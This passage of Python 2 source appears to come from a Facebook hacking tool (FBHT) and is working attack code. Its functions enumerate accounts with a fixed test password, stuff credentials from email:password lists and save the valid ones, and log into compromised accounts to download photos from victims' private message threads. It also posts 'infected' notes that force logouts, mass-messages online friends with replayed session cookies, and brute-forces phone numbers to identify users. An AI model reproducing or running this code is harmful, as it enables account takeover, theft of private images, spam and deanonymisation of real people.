transitiveID = getUserID(friend)
2886
2887
if transitiveID == -1:
2888
transitiveID = transitive
2889
2890
database.addNode(victim,transitive, transitiveID)
2891
2892
for element in mutual:
2893
2894
mutualFriend = getName(element)
2895
mutualFriendID = getUserID(element)
2896
2897
if mutualFriendID == -1:
2898
mutualFriendID = mutualFriend
2899
2900
database.addNode(victim,mutualFriend, mutualFriendID)
2901
database.addEdge(victim,transitive, transitiveID, mutualFriend, mutualFriendID)
2902
2903
2904
2905
2906
def friendlyLogout(noteID,privacy):
2907
2908
fb_dtsg = set_dtsg()
2909
if (fb_dtsg == 0):
2910
print 'ERROR MOTHER FUCKER -_-'
2911
return
2912
2913
existence = raw_input("Share an existent infected note? 1|0: ")
2914
2915
2916
2917
title = raw_input('Note title: ')
2918
content = ''
2919
for i in range(0,10):
2920
content += '<p><img src="http://www.facebook.com/n/?home.php&clk_loc=5&mid=72b01a8G5af400143243G0Gd4&bcode=1.1354826874.AbllucLcWqHQbSNM&n_m=hackedby@chinoogawa-'+str(i)+'"/></p>'
2921
2922
arguments = {
2923
'fb_dtsg' : fb_dtsg,
2924
'object_id' : noteID,
2925
'note_id' : noteID,
2926
'id' : getC_user(),
2927
'title' : title,
2928
'note_content' : content,
2929
'audience['+noteID+'][value]' : privacy,
2930
'publish' : 'Publish',
2931
'__user' : getC_user(),
2932
'__a' : '1',
2933
'__dyn' : '7n8ahyj34fzpQ9UoHaEWy1m9ACwKyaF3pqzCAjFDxCm6qyE',
2934
'__req' : '7',
2935
'ttstamp' : '2658169897154120115496511690',
2936
'__rev' : '1224624'
2937
}
2938
2939
datos = urlencode(arguments)
2940
try:
2941
response = br.open('https://www.facebook.com/ajax/notes/edit',datos)
2942
except mechanize.HTTPError as e:
2943
logs(e.code)
2944
print e.code
2945
except mechanize.URLError as e:
2946
logs(e.reason.args)
2947
print e.reason.args
2948
except:
2949
logs('Error in the friendlyLogout module')
2950
print '\rError in the friendlyLogout module\r'
2951
raise
2952
2953
arguments = {
2954
'fb_dtsg' : fb_dtsg,
2955
'app_id' : '2347471856',
2956
'redirect_uri' : 'https://www.facebook.com/',
2957
'display' : 'popup',
2958
'access_token' : '',
2959
'sdk' : '',
2960
'from_post' : '1',
2961
'e2e' : '{"submit_0":1409803100561}',
2962
'xhpc_context' : 'home',
2963
'xhpc_ismeta' : '1',
2964
'xhpc_timeline' : '',
2965
'xhpc_targetid' : getC_user(),
2966
'xhpc_publish_type' : '1',
2967
'xhpc_message_text' : '#FBHT rocks! #HackThePlanet! @chinoogawa powered by @MkitArgentina ',
2968
'xhpc_message' : '#FBHT rocks! #HackThePlanet! @chinoogawa powered by @MkitArgentina ',
2969
'is_explicit_place' : '',
2970
'composertags_place' : '',
2971
'composertags_place_name' : '',
2972
'tagger_session_id' : '1409803081',
2973
'action_type_id[0]' : '',
2974
'object_str[0]' : '',
2975
'object_id[0]' : '',
2976
'og_location_id[0]' : '',
2977
'hide_object_attachment' : '0',
2978
'og_suggestion_mechanism' : '',
2979
'og_suggestion_logging_data' : '',
2980
'icon_id' : '',
2981
'share_action_properties' : '{"object":"https:\/\/www.facebook.com\/notes\/'+getName(getC_user())+'\/'+noteID+'\/'+noteID+'"}',
2982
'share_action_type_id' : '400681216654175',
2983
'composertags_city' : '',
2984
'disable_location_sharing' : 'false',
2985
'composer_predicted_city' : '',
2986
'audience[0][row_updated_time]' : '1409803103',
2987
'audience[0][custom_value]' : privacy,
2988
'audience[0][value]' : '111',
2989
'__CONFIRM__' : '1',
2990
'__user' : getC_user(),
2991
'__a' : '1',
2992
'__dyn' : '7xu5V84Oi3S2e4oK4pomXWomwho4a',
2993
'__req' : '7',
2994
'ttstamp' : '26581715110910598979511876122',
2995
'__rev' : '1398396'
2996
}
2997
2998
datos = urlencode(arguments)
2999
try:
3000
response = br.open('https://www.facebook.com/v1.0/dialog/share/submit',datos)
3001
except mechanize.HTTPError as e:
3002
logs(e.code)
3003
print e.code
3004
except mechanize.URLError as e:
3005
logs(e.reason.args)
3006
print e.reason.args
3007
except:
3008
logs('Error in the friendlyLogout module')
3009
print '\rError in the friendlyLogout module\r'
3010
raise
3011
3012
def takePhotos(threads):
3013
r = open(os.path.join("massive","fotos.txt"),"wb")
3014
fb_dtsg = set_dtsg()
3015
f = open(os.path.join("massive",threads),"r")
3016
threadList = []
3017
while True:
3018
linea = f.readline()
3019
if not linea:
3020
break
3021
threadList.append(str(linea.strip("\n")))
3022
3023
i = 0
3024
3025
for message in threadList:
3026
arguments = {
3027
'thread_id' : message,
3028
'offset' : '0',
3029
'limit' : '30',
3030
'__user' : getC_user(),
3031
'__a' : '1',
3032
'__dyn' : 'aJj2BW9t2lm9b88DgDDx2IGAKh9VoW9J6yUgByVbFkGQhbHz6C-CEy5pokAWAVbGFQiuaBKAqhB-imSCiZ3oyq4U',
3033
'__req' : '40',
3034
'fb_dtsg' : fb_dtsg,
3035
'ttstamp' : '265816973899779122887410295',
3036
'__rev' : '1458973'
3037
}
3038
3039
datos = urlencode(arguments)
3040
try:
3041
response = br.open('https://www.facebook.com/ajax/messaging/attachments/sharedphotos.php',datos)
3042
text = response.read()
3043
r.write(text + '\n')
3044
except mechanize.HTTPError as e:
3045
logs(e.code)
3046
print e.code
3047
except mechanize.URLError as e:
3048
logs(e.reason.args)
3049
print e.reason.args
3050
except:
3051
logs('Error in robo de fotos')
3052
print '\rError in robo de fotos\r'
3053
raise
3054
3055
try:
3056
to_parse = str(text).strip('for (;;);')
3057
resultado = json.loads(to_parse)
3058
3059
URLS = []
3060
for element in resultado['payload']['imagesData'].keys():
3061
URLS.append(resultado['payload']['imagesData'][element]['URI'])
3062
3063
for URL in URLS:
3064
fotos = open(os.path.join('massive','photos',str(int(time()))+'.jpg'),"wb")
3065
handler = br.open(URL)
3066
fotos.write(handler.read())
3067
fotos.close()
3068
i += 1
3069
3070
URLS[:]
3071
except:
3072
print 'no attachment in thread'
3073
3074
r.close()
3075
3076
def accountexists(mailList):
3077
3078
password = '#FBHTEnumerateUsers'
3079
mails = []
3080
try:
3081
mailFile = open(os.path.join("PRIVATE",mailList),"r")
3082
except:
3083
print 'File %s doesn\'t exist' %mailList
3084
return
3085
try:
3086
verified = open(os.path.join("PRIVATE","existence","verified.txt"),"a")
3087
verified.close()
3088
except:
3089
verified = open(os.path.join("PRIVATE","existence","verified.txt"),"w")
3090
verified.close()
3091
3092
while True:
3093
line = mailFile.readline()
3094
if not line: break
3095
mails.append(line.strip('\n'))
3096
3097
mailFile.close()
3098
driver = webdriver.Firefox()
3099
3100
for email in mails:
3101
# Access the login page to get the forms
3102
driver.delete_all_cookies()
3103
driver.get("https://www.facebook.com/")
3104
assert "Facebook" in driver.title
3105
elem = driver.find_element_by_name("email")
3106
elem.send_keys(email)
3107
elem = driver.find_element_by_name("pass")
3108
elem.send_keys(password)
3109
elem.send_keys(Keys.RETURN)
3110
3111
try:
3112
line = driver.page_source
3113
match = re.search('Por favor, vuelve a introducir tu contrase',line)
3114
if match is not None:
3115
print email + ' Cuenta existente :D !!'
3116
verified = open(os.path.join("PRIVATE","existence","verified.txt"),"a")
3117
verified.write(email + '\n')
3118
verified.close()
3119
else:
3120
print email + ' Cuenta inexistente :('
3121
except:
3122
logs('Fatal error while submitting the login form')
3123
print '\rFatal error while submitting the login form\r'
3124
3125
3126
driver.close()
3127
verified.close()
3128
3129
def checkLogin(mailList):
3130
global blocked
3131
3132
try:
3133
verified = open(os.path.join("PRIVATE","loggedin","Loggedin.txt"),"a")
3134
except:
3135
verified = open(os.path.join("PRIVATE","loggedin","Loggedin.txt"),"w")
3136
try:
3137
mails = open(os.path.join("PRIVATE",mailList),"r")
3138
except:
3139
print '%s doesn\'t exist in PRIVATE folder' %mailList
3140
verified.close()
3141
return
3142
3143
credenciales = {}
3144
while True:
3145
email = mails.readline()
3146
if not email: break
3147
index = email.find(":")
3148
if index != -1:
3149
credenciales[email[0:index]] = email[index+1:].strip('\n')
3150
credentials = credenciales.keys()
3151
shuffle(credentials)
3152
for emails in credentials:
3153
try:
3154
if (login(emails,credenciales[emails],'real') != -1) or (blocked == 1):
3155
verified = open(os.path.join("PRIVATE","loggedin","Loggedin.txt"),"a")
3156
verified.write(emails+':'+credenciales[emails]+'\n')
3157
verified.close()
3158
print emails + ' valid email and passowrd!!! MOTHER KAKERRRRR :D '
3159
blocked = 0
3160
else:
3161
print emails + ' not valid email or password'
3162
except signalCaught as e:
3163
print 'Signal caught'
3164
return
3165
except:
3166
continue
3167
try:
3168
verified.close()
3169
except:
3170
return
3171
3172
def steal():
3173
global blocked
3174
try:
3175
verified = open(os.path.join("PRIVATE","loggedin","Loggedin.txt"),"r")
3176
except:
3177
print 'File Loggedin.txt not found in loggedin folder, you should try it again!'
3178
return
3179
3180
credenciales = {}
3181
while True:
3182
email = verified.readline()
3183
if not email: break
3184
index = email.find(":")
3185
if index != -1:
3186
credenciales[email[0:index]] = email[index+1:].strip('\n')
3187
3188
for emails in credenciales.keys():
3189
if (login(emails,credenciales[emails],'real') != -1) or (blocked == 1):
3190
print emails + ' valid email and passowrd!!! MOTHER KAKERRRRR :D '
3191
if blocked == 1:
3192
blocked = 0
3193
print 'Account valid, but blocked due to location issues'
3194
else:
3195
check = checkPrivacy('me')
3196
username = checkMe("me")
3197
friendList, friendsName = friendshipPlot(check,username)
3198
fileThreads = open(os.path.join("massive","threads.txt"),"wb")
3199
for friends in friendList:
3200
fileThreads.write(friends+'\n')
3201
fileThreads.close()
3202
takePhotos("threads.txt")
3203
else:
3204
sleep(10)
3205
print emails + ' not valid email or password'
3206
3207
def getUserIDS(username):
3208
usernameAndID = {}
3209
usernamesFile = open(os.path.join('dumps',username,username+"UserNames.txt"),"r")
3210
userIDSFile = open(os.path.join('dumps',username,username+"UserIDS.txt"),"w").close()
3211
userIDS = []
3212
usernames = []
3213
percentage = 0.0
3214
i = 0
3215
while True:
3216
linea = usernamesFile.readline()
3217
if not linea:
3218
break
3219
usernames.append(linea.strip('\n'))
3220
total = len(usernames)
3221
for user in usernames:
3222
flush()
3223
percentage = (100.0 * i)/total
3224
print '\rCompleted [%.2f%%]\r'%percentage,
3225
userIDSFile = open(os.path.join('dumps',username,username+"UserIDS.txt"),"a")
3226
userID = getUserID(user)
3227
userIDS.append(userID)
3228
try:
3229
userIDSFile.write(userID+'\n')
3230
usernameAndID[userID+'\n'] = user
3231
except:
3232
print 'unknown error'
3233
userIDSFile.close()
3234
i += 1
3235
pickle.dump( usernameAndID , open(os.path.join('dumps',username,username+"UserNamesIDindexed.txt"),"wb"))
3236
def sendPrivateMessage(message,buddy):
3237
3238
c_user = getC_user()
3239
3240
try:
3241
fb_dtsg = set_dtsg()
3242
if (fb_dtsg == 0):
3243
print 'ERROR MOTHER FUCKER -_-'
3244
3245
arguments = {
3246
'message_batch[0][action_type]' : 'ma-type:user-generated-message',
3247
'message_batch[0][thread_id]' : '',
3248
'message_batch[0][author]' : 'fbid:'+c_user,
3249
'message_batch[0][author_email]' : '',
3250
'message_batch[0][coordinates]' : '',
3251
'message_batch[0][timestamp]' : str(int(time())),
3252
'message_batch[0][timestamp_absolute]' : 'Today',
3253
'message_batch[0][timestamp_relative]' : getTime(),
3254
'message_batch[0][timestamp_time_passed]' : '0',
3255
'message_batch[0][is_unread]' : 'false',
3256
'message_batch[0][is_forward]' : 'false',
3257
'message_batch[0][is_filtered_content]' : 'false',
3258
'message_batch[0][is_filtered_content_bh]' : 'false',
3259
'message_batch[0][is_filtered_content_account]' : 'false',
3260
'message_batch[0][is_filtered_content_quasar]' : 'false',
3261
'message_batch[0][is_filtered_content_invalid_app]' : 'false',
3262
'message_batch[0][is_spoof_warning]' : 'false',
3263
'message_batch[0][source]' : 'source:titan:web',
3264
'message_batch[0][body]' : message,
3265
'message_batch[0][has_attachment]' : 'false',
3266
'message_batch[0][html_body]' : 'false',
3267
'message_batch[0][specific_to_list][0]' : 'fbid:' + buddy,
3268
'message_batch[0][specific_to_list][1]' : 'fbid:' + c_user,
3269
'message_batch[0][force_sms]' : 'true',
3270
'message_batch[0][ui_push_phase]' : 'V3',
3271
'message_batch[0][status]' : '0',
3272
'message_batch[0][message_id]' : '<1394766424499:[email protected]>',
3273
'message_batch[0][client_thread_id]' : 'user:'+str(c_user),
3274
'message_batch[0][manual_retry_cnt]' : '0',
3275
'client' : 'web_messenger',
3276
'__user' : c_user,
3277
'__a' : '1',
3278
'__dyn' : 'aKTyBW8BgBlyibgggDDzbHaF8x9DzECQHyUmyVbGAGQi8VpCC-KGBxmm6oxpbGES5V8Gh6VEChyd1eFEsz-dCxK9xibyfCChQEjkwzyAAEnhRGeKmhmKVRz9Hxmi8V9-i78',
3279
'__req' : '1w',
3280
'fb_dtsg' : fb_dtsg,
3281
'ttstamp' : '2658171975212154891167782118',
3282
'__rev' : '1925563'
3283
}
3284
datos = urlencode(arguments)
3285
response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)
3286
3287
if globalLogging:
3288
logs(response.read())
3289
3290
except mechanize.HTTPError as e:
3291
print e.code
3292
except mechanize.URLError as e:
3293
print e.reason.args
3294
except:
3295
print 'Ctrl+c SIGNAL Caught\n'
3296
return
3297
3298
def sendBroadcast(online):
3299
print 'Cookies will be saved and deleted after execution'
3300
try:
3301
driver = webdriver.Firefox()
3302
driver.get("https://www.facebook.com/")
3303
cookies = pickle.load(open("cookies.pkl", "rb"))
3304
for cookie in cookies:
3305
driver.add_cookie(cookie)
3306
open("cookies.pkl", "wb").close()
3307
driver.get("https://m.facebook.com/buddylist.php?ref_component=mbasic_home_header&ref_page=/wap/home.php&refid=8")
3308
assert "Active Friends" in driver.title
3309
data = driver.page_source
3310
driver.close()
3311
buddies = MyParser.parseOnline(data)
3312
if len(buddies) == 0:
3313
print 'Mmm houston we have a problem.. ERROR'
3314
return
3315
message = raw_input('Enter the message to send: ')
3316
percentage = 0.0
3317
i = 0
3318
for buddy in buddies:
3319
flush()
3320
percentage = (100.0 * i)/len(buddies)
3321
print '\rCompleted [%.2f%%]\r'%percentage,
3322
sendPrivateMessage(message, buddy)
3323
i += 1
3324
except mechanize.HTTPError as e:
3325
logs(e.code)
3326
print e.code
3327
except mechanize.URLError as e:
3328
logs(e.reason.args)
3329
print e.reason.args
3330
except:
3331
logs('Error in the sendBroadcast module')
3332
print '\rError in the sendBroadcast module\r'
3333
raise
3334
def getFriends(username):
3335
mkdir(username,'dumps')
3336
friends = []
3337
next = username+'?v=friends'
3338
driver = webdriver.Firefox()
3339
driver.get("https://www.facebook.com/")
3340
cookies = pickle.load(open("cookies.pkl", "rb"))
3341
for cookie in cookies:
3342
driver.add_cookie(cookie)
3343
3344
open("cookies.pkl", "wb").close()
3345
3346
while next != -1:
3347
driver.get("https://m.facebook.com/"+next)
3348
driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
3349
data = driver.page_source
3350
list, next = MyParser.parseFriends(data)
3351
friends += list
3352
usernames = open(os.path.join('dumps',username,username+"UserNames.txt"),"w")
3353
for friend in friends:
3354
usernames.write(friend+'\n')
3355
usernames.close()
3356
driver.close()
3357
def bruteforceCel(first,start,end):
3358
c_user = getC_user()
3359
try:
3360
f = open( os.path.join("cellphones","cellphones.txt"),"a" )
3361
f.close()
3362
except:
3363
f = open( os.path.join("cellphones","cellphones.txt"),"wb" )
3364
f.close()
3365
percentage = 0.0
3366
verified = 0
3367
for cellphone in range(int(start),int(end)):
3368
percentage = ((cellphone-int(start)) * 100.0) / (int(end) - int(start))
3369
flush()
3370
print '\rCompleted [%.6f%%] - %d cellphone - %d verified\r' %(percentage, cellphone, verified),
3371
try:
3372
response = br.open('https://www.facebook.com/typeahead/search/facebar/query/?value=["'+first+str(cellphone)+'"]&context=facebar&grammar_version=7466c20ac89f47d6185f3a651461c1b1bac9a82d&content_search_mode&viewer='+c_user+'&rsp=search&qid=8&max_results=10&sid=0.24097281275317073&__user='+c_user+'&__a=1&__dyn=7nmajEyl2qm9udDgDxyIGzGpUW9ACxO4p9GgyimEVFLFwxBxCbzESu49UJ6K59poW8xHzoyfw&__req=1o&__rev=1536505')
3373
text = response.read()
3374
json_dump = json.loads(text.strip('for (;;);'))
3375
#print str(json_dump['payload']['entities'][0]['path'])
3376
#print str(json_dump['payload']['entities'][0]['uid'])
3377
#print first + str(cellphone)
3378
f = open( os.path.join("cellphones","cellphones.txt"),"a" )
3379
f.write(first + str(cellphone)+' '+str(json_dump['payload']['entities'][0]['path']) + ' ' + str(json_dump['payload']['entities'][0]['uid'])+'\n')
3380
f.close()
3381
verified += 1
3382
except mechanize.HTTPError as e:
3383
logs(e.code)
3384
print e.code
3385
except mechanize.URLError as e:
3386
logs(e.reason.args)
3387
print e.reason.args
3388
except:
3389
f.close()
3390
continue
3391
3392